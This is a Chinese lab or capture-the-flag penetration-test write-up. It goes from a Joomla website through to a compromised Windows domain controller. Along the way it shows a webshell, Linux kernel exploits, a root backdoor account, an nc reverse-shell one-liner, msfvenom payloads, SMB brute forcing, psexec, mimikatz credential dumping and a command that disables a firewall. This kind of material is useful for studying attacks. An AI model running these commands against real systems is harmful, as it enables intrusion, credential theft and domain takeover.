外网WEB 
信息搜集 已经知道目标IP地址 : 192.168.1.110 对其进行 常规扫描信息搜集
 
 对其简单的Nmap 扫描  发现存在三个端口  22 80 3306  那就可以猜测 开放了80 端口,3306  是否存在phpmyadmin 页面等等  看看http开放了啥
1 2 3 4 5 6 7 8 80 /tcp   open   http    nginx 1.9 .4  | http-robots.txt: 15  disallowed entries  | /joomla/administrator/ /administrator/ /bin / /cache/  | /cli/ /components/ /includes/ /installation/ /language/  |_/layouts/ /libraries/ /logs/ /modules/ /plugins/ /tmp/ |_http-title: Home |_http-generator: Joomla! - Open Source Content Management |_http-server-header: nginx/1.9 .4 
 
存在nginx 可能存在端口转发啥的 看着像一个博客系统  其实nmap 已经扫描出来是啥cms了
1 http-generator: Joomla! - Open Source Content Management
 
是一个Joomla 的 内容管理系统   对其先进行目录扫描
1 2 3 4 5 6  gobuster dir  -u http://192.168 .1 .110 /  -w /usr/share/seclists/Discovery/Web-Content/directory-list -1.0 .txt -x txt,php,html,jsp dirb "http://192.168.1.110"      dirsearch -u http://192.168 .1 .110    
 
先后台扫描着 ,先去看看这个内容管理系统是啥 ,是否存在近期漏洞
Joomla  内容管理系统 Joomla是一套全球知名的内容管理系统。 [1]  Joomla是使用PHP 语言加上MySQL数据库 所开发的软件系统,最新版本是4.2.8 [2]  。可以在Linux、 Windows 、MacOSX 等各种不同的平台上执行。
存在历史漏洞: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 (CVE-2015 -8562 )  Joomla 3.4 .5  反序列化漏洞 本漏洞根源是PHP5.6 .13 前的版本在读取存储好的session时, 如果反序列化出错则会跳过当前一段数据而去反序列化下一段数据。 而Joomla将session存储在Mysql数据库中,编码是utf8,当我们插入4 字节的utf8数据时则会导致截断。 截断后的数据在反序列化时就会失败,最后触发反序列化漏洞。 (CVE-2016 -8869 )  Joomla 3.4 .4 -3.6 .3  未授权创建特权用户 网站关闭注册的情况下仍可创建用户,默认状态下用户需要用邮件激活,但需要开启注册功能才能激活。 (CVE-2017 -14596 ) Joomla! 1.5  <= 3.7 .5  LDAP注入绕过登录认证 通过在登录页面利用该漏洞进行攻击,非特权的远程攻击者可以提取出LDAP服务器中所有的用户凭证 (用于安装Joomla!),这些凭证包括特权用户以及Joomla!管理员的用户名以及密码。 获取到这些凭证之后,攻击者就可以使用这些信息来登录Joomla!的管理员控制面板并完全接管Joomla!, 或者通过上传自定义的Joomla!扩展实现远程代码执行并相关的Web服务器。 (CVE-2017 -8917 ) Joomla 3.7 .0  QL注入漏洞 (CVE-2020 -10238 )Joomal <= 3.9 .15  远程命令执行漏洞 (CVE-2020 -11890 )  Joomla 远程命令执行漏洞 受影响的版本:3.9 .17 之前的Joomla核心 用户要求:管理员帐户(非超级管理员) 获得访问权限: 创建一个新的超级管理员,然后触发RCE。 Joomla! com_fabrik 3.9 .11  目录遍历漏洞   Version: 3.9  Joomla component GMapFP 3.30  任意文件上传 Joomla 3.4 .6  - 'configuration.php'  远程代码执行 CVE-2023 -23752  未授权访问   4.0 .0   - 4.2 .7 版本 参考:  Google https://www.hacking8.com/bug-product/Joomla/Joomla-3 -3.4 .6 -%E8%BF%9C%E7%A8%8B%E5%91 %BD%E4%BB%A4%E6%89 %A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.html
 
存在漏洞数量不小,但是我们不知道的是现在这个Joomal 版本是多少  经过搜索的得知存在 一个 关于 Joomla 的 漏洞扫描
Joomscan 扫描工具 是一个开源项目,其主要目的是实现漏洞检测的自动化,以增强Joomla CMS开发的安全性。该工具基于Perl开发,能够轻松无缝地对各种Joomla项目进行漏洞扫描,其轻量化和模块化的架构能够保证扫描过程中不会留下过多的痕迹。它不仅能够检测已知漏洞,而且还能够检测到很多错误配置漏洞和管理权限漏洞等等。还能够以HTML或文本格式导出扫描报 Kali 安装 : apt install joomscan  扫描一下
1 joomscan --url http://192.168 .1 .110 
 
 扫描到了版本号  3.9.2  存在sql注入和 文件上传的 现在去看看扫描结果 找后台 ,找注入,找上传
目录扫描结果 现在先回去看目录扫描 扫描出了啥 可疑目录
1 2 3 4 5 6 7 8 9 [20 :30 :50 ] 200  -   31B  - /administrator/logs/ [20 :30 :52 ] 200  -    5KB - /administrator/ [20 :30 :52 ] 200  -    5KB - /administrator/index.php [20 :30 :56 ] 200  -   31B  - /bin / [20 :31 :01] 200  -    2KB - /configuration.php~ [20 :31 :13 ] 200  -    3KB - /htaccess.txt [20 :31 :57 ] 200  -    2KB - /web.config.txt [20 :31 :49 ] 200  -    0B  - /templates/system/ [20 :31 :40 ] 200  -  829B  - /robots.txt
 
后台地址:: http://192.168.1.110/administrator/  htaccess.txt 泄露http://192.168.1.110/web.config.txt  robots.txt 文件 存在的目录还是比较多的http://192.168.1.110/configuration.php~  是一个配置php文件  这部分信息是有用的信息 ,知道了绝对路径 ,数据库账号密码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 	public $dbtype = 'mysqli' ; 	public $host = 'localhost' ; 	public $user = 'testuser' ; 	public $password = 'cvcvgjASD!@' ; 	public $db = 'joomla' ; 	public $dbprefix = 'am2zu_' ; 	public $mailer = 'mail' ; 	public $mailfrom = 'test@test.com' ; 	public $fromname = 'test' ; 	public $sendmail = '/usr/sbin/sendmail' ; 	public $feed_limit = '10' ; 	public $log_path = '/var/www/html/administrator/logs' ; 	public $tmp_path = '/var/www/html/tmp' ; }
 
数据库 连接数据库 :: 
1 账号密码   testuser cvcvgjASD!@
 
 
 
 存在两个 users 表 
1 2 am2zu_users    umnbt_users  
 
 感觉是下面那个用户表 ,毕竟带有administrator  可是他的编码不知道是啥编码的 ,直接修改一个密码 或者 添加一个管理员用户
添加管理员 添加一个管理员  查看官方文档: https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn 
1 2 3 4 5 INSERT INTO `am2zu_users` (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`) VALUES ('Administrator2' , 'admin2' , 'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199' , '' , NOW(), NOW(), NOW()); INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`) VALUES (LAST_INSERT_ID(),'8' ); select * from  am2zu_users;
 
 成功添加了一个admin / secret 的管理员用户上去
修改密码 修改 administrator 的密码,因为不知道加密方式也不知道是什么编码就不知道密码了
1 update am2zu_users set password=md5("123456") where id=891;
 
1 select * from am2zu_users where id=891;
 
 可以看见 administrator 成功被修改掉密码了  尝试登录后台看看
webshell 成功登录后台 找上传 拿shell啦 Extensions->Templates->Templates->Beez3 Details and Files  可以修改和上传都可以  连接地址:http://192.168.1.110//templates/beez3/error.php  使用中国蚁剑 :地址: https://github.com/AntSwordProject/AntSword-Loader  执行命令  但是返回ret=127  说明是禁用了部分函数,不能执行命令导致 ,这就要突破disable_functions限制 原理:  当 disable_functions 禁用了命令执行函数,webshell 无法执行系统命令时,可以通过环境变量 LD_PRELOAD 劫持系统函数,来突破 disable_functions 限制执行操作系统命令 这里使用蚁剑的插件 进行突破 disable_functions 安装这个插件 就选这个把  ,基本都是可以使用的 成功执行命令  这样不方便,先生成了msf的linux shell  反弹到msf 方便执行命令
1 msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=1111 -f elf  > shell.elf
 
 这边发现一直反弹不了 ,没仔细看IP ,发现IP是192.168.93.120 并不是 192.168.1.110 了  这是咋回事呢 。。。?? 那就先信息搜集这台主机的信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 uname -a     uname -m     cat /proc/version     cat /etc/*-release    cat /etc/issue     hostname     cat /etc/passwd     cat /etc/group     w     whoami    id      sudo -l     ps aux     ls -la /etc/cron*     ifconfig -a     cat /etc/network/interfaces     arp -a     route     netstat -anplt     iptables -L    
 
 可以看出 是ubuntu 64 位系统 , 192.168.93.120 与 192.168.93.100 存在这连接的 看了下内核 是4.4.0-142 我尝试了 其中kali中
 
 比较相近的poc 但是无果  查找到一个CVE-2019-18683 可能存在 提权 但是好像比较麻烦。。。先放一边 在tmp目录存在三个 文件
SSH 进入mysql  ,mysql中存在 一个test.txt 文件 
1 2 adduser wwwuser passwd wwwuser_123Aqx
 
是一个用户密码 mysql的数据库密码 ??? 显然不是啊  192.168.1.110 开放了22 端口 ,是否是他的密码呢  使用ssh 连接  报错 
1 Unable to negotiate with  192.168 .1 .110  port 22 : no matching host key type  found. Their offer: ssh-rsa,ssh-dss
 
由提示得知,ssh不能远程登录的原因为:没有找到相关的主机密钥类型。 1、确实是主机密钥类型不符合 2、不存在相关主机密钥类型 解决办法: 
1 2 3 4 5 6 7 8 9 10 方法1 、命令中加参数 ssh -o HostKeyAlgorithms=+ssh-dss  wwwueser@192.168 .1 .110   方法2 、在~/.ssh目录下添加config vi config 在config中写入以下code: Host * HostKeyAlgorithms +ssh-dss 重启ssh service ssh restart
 
使用方法一 成功连接 ssh   这才是对的 , 到这里已经获取到两台主机的权限了 ,但是偏低 ubuntu 提权比较麻烦,查看 Centos 是否好提权 2.6.32 提权希望很大啊  感觉这个25444.c 比较合适啊 失败 mempodipper.c  失败 http://git.zx2c4.com/CVE-2012-0056/plain/mempodipper.c  使用wget 获取 wget  http://git.zx2c4.com/CVE-2012-0056/plain/mempodipper.c 
Centos 脏牛(CVE-2016-5195)提权 https://github.com/FireFart/dirtycow  编译下载的EXP
1 gcc -pthread dirty.c -o dirty -lcrypt
 
 执行
 
 运行之后要恢复 passwd 先切换用户 firefart Centos成功提权
权限维持 创建一个test的 root 用户 密码为 123456
1 useradd -p 'openssl passwd -1 -salt ' salt' 123456'  test -o -u 0  -g root -G root -s /bin /bash -d /home/mysqld
 
Ubuntu  CVE-2021-3493  提权 因为Centos 没有 nc 要先下载nc  安装包
1 2 3 4 5 64 位 : http://vault.centos.org/6.6 /os/x86_64/Packages/nc-1.84 -22. el6.x86_64.rpm32 位: http://vault.centos.org/6.6 /os/i386/Packages/nc-1.84 -22. el6.i686.rpm
 
上传到Centos 上 安装 
1 rpm -iUv nc-1.84 -22. el6.x86_64.rpm
 
 把shell 反弹到 Centos  Centos 监听 :
 
Ubuntu :
1 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin /sh -i 2 >&1 |nc 192.168 .93 .100  2222 >/tmp/f
 
 成功反弹shell  把POC 上传上去 POC:  https://github.com/briskets/CVE-2021-3493 Ubuntu特权提升漏洞(CVE-2021-3493) 
1 2 3 4 5 6 7 8 9 10 11 12 13 漏洞描述 OverlayFS漏洞允许Ubuntu下的本地用户获得root权限。 Linux内核中overlayfs文件系统中的Ubuntu特定问题, 在该问题中,它未正确验证关于用户名称空间的文件系统功能的应用程序。 由于Ubuntu附带了一个允许非特权的overlayfs挂载的补丁,因此本地攻击者可以使用它来获得更高的特权。 影响版本 Ubuntu 20.10  Ubuntu 20.04  LTS Ubuntu 18.04  LTS Ubuntu 16.04  LTS Ubuntu 14.04  ESM
 
编译提权
1 2 3 gcc  -o exp exploit.cchmod  +x exp ./exp
 
 成功提权
进入内网 
Centos 上线MSF 使用msfvenom 生成 shell ,反弹到msf 上
1 msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.1.10 lport=1111 -f elf > a.elf
 
 上传到Centos 运行  获取到shell 内网IP段 192.168.93.0 段  搭建路由
搭建MSF路由与代理 MSF路由
1 run autoroute -s 192.168.93.0/24
 
或者使用 
1 2 3 use exploit/multi/script/web_delivery route add 192.168.93.0 255.255.255.0 1  route print
 
添加MSF路由 使用Vemom 搭建代理 Centos 客户端启动 服务器收到  socks 3333端口 
smb 扫描 存活 1 2 3 use auxiliary/scanner/smb/smb_version set rhosts 192.168.93.0/24 run
 
 扫描结果 
1 2 3 192.168.93.30  Windows  7 192.168.93.20  Windows 2008 192.168.93.10  Windows 2012 R2
 
使用Nmap 扫描 看看是否存在web服务 
192.168.93.10
 
192.168.93.20
 
192.168.93.30
 
 这个一直超时 ,扫描不出来。 使用 这句扫描的端口,banner 信息 
1 proxychains4 nmap -Pn -sT -sV 192.168.93.10192.168.93.20192.168.93.30 -F 
 
 基本都是开放了smb,可能smb是一个突破口吧, 但是发现他们的域名是 test.org 域名 测试了ms17-010 ,ms08-067 都不行
SMB爆破 1 2 3 4 5 use auxiliary/scanner/smb/smb_login set SMBUSER administrator set PASS_FILE /root/pass.txt set rhosts 192.168.93.20 run
 
 爆破出了win2008 ,win7 的 密码 是 123qwe!ASD
PsExec PsExec 是由 Mark Russinovich 创建的 Sysinternals Suite中包含的工具。最初,它旨在作为系统管理员的便利工具,以便他们可以通过在远程主机上运行命令来执行维护任务。后来因为太过方便,被利用到内网渗透之中。现在PsExec类的工具有各种语言的实现,如Metasploit的psexec psexec psh, Impacket psexec, pth-winexe, Empire Invoke-Psexec等等。 PsExec是一个轻量级的telnet替代工具,它使您无需手动安装客户端软件即可执行其他系统上的进程,并且可以获得与命令控制台几乎相同的实时交互性。PsExec最强大的功能就是在远程系统和远程支持工具(如ipconfig、whoami)中启动交互式命令提示窗口,以便显示无法通过其他方式显示的有关远程系统的信息。
基本原理:: PsExec特点: 
psexec远程运行需要远程计算机启用文件和打印共享且默认的Admin$共享映射到C:windows目录。 
psexec建立连接之后目标机器上会被安装一个“PSEXESVC”服务。但是psexec安全退出之后这个服务会自动删除(在命令行下使用exit命令退出)。 
 
PsExec详细运行过程: 
TCP三次握手,通过SMB会话进行身份验证。 
连接**admin$**共享,通过 SMB 访问默认共享文件夹 **ADMIN$**,写入PSEXESVC.exe文件; 
利用ipc命名管道调用svcctl服务 
利用svcctl服务开启psexesvc服务 
生成4个命名管道以供使用。一个psexesvc管道用于服务本身,另外的管道stdin(输入)、stdout(输出)、stderr(输出)用于重定向进程。1 2 3 4 5 6 use exploit/windows/smb/psexec set payload windows/x64/meterpreter/bind_tcp   #设置正向连接 set rhost 192.168.93.20 set smbuser administrator set smbpass 123qwe!ASD run
 
 直接就登录了 少去提权步骤了都  20,30 都是system 权限 因为前面扫描的的时候就已经知道 域名是test.org 了  ping一下就ok了  现在需要用到 mimikatz 抓取密码 
 
kiwi_cmd 利用msf自带的mimikatz  ,并入了kiwi
1 2 load kiwi #加载 kiwi kiwi_cmd sekurlsa::logonpasswords  #调用kiwi_cmd执行mimikatz命令
 
 在win7上面没有抓到  在win2008 上面抓到 域控的密码了
1 2 3 4 kerberos :                                                                                                                                                                                  * Username : Administrator                                                                                                                                                                 * Domain   : TEST.ORG                                                                                                                                                                      * Password : zxcASDqw123!!
 
IPC 远程连接 因为使用psexec 这里建立不了域控的连接,先使用 IPC 进行连接
1 2 3 net use \\192.168.93.10\admin$ zxcASDqw123!! /user:test\administrator dir \\192.168.93.10\C$\users\administrator\Documents type \\192.168.93.10\C$\users\administrator\Documents\flag.txt
 
 这样就获取到了 域控目录下的flag.txt
SC 命令 使用sc远程在域制器(192.168.93.10)上创建服务关闭防火墙:
1 2 sc \\192.168.93.10 create unablefirewall binpath= "netsh advfirewall set allprofiles state off" sc \\192.168.93.10 start unablefirewall
 
 关闭成功,再次使用psexec 成功获取了权限  并且是system
1 proxychains4 python3 wmiexec-pro.py administrator:zxcASDqw123!!@192.168.93.10 exec-command -shell
 
wmiexec https://github.com/XiaoliChan/wmiexec-Pro   #这个是pro ,但是我没有连接成功 
1 proxychains python3 wmiexec-pro.py administrator:zxcASDqw123!!@192.168.93.10 exec-command -shell
 
并不能成功运行
https://github.com/fortra/impacket/blob/master/examples/wmiexec.py  #这个是可以用的
1 proxychains python3 wmiexec.py 'TEST.ORG/Administrator:zxcASDqw123!!@192.168.93.10'
 
 成功执行 ,获取到了shell
主要是这个centos 靶机老是断开连接,网卡获取几个小时ip后就断了 ,要重新获取,或者 恢复快照, 其他还好 ,用时两天左右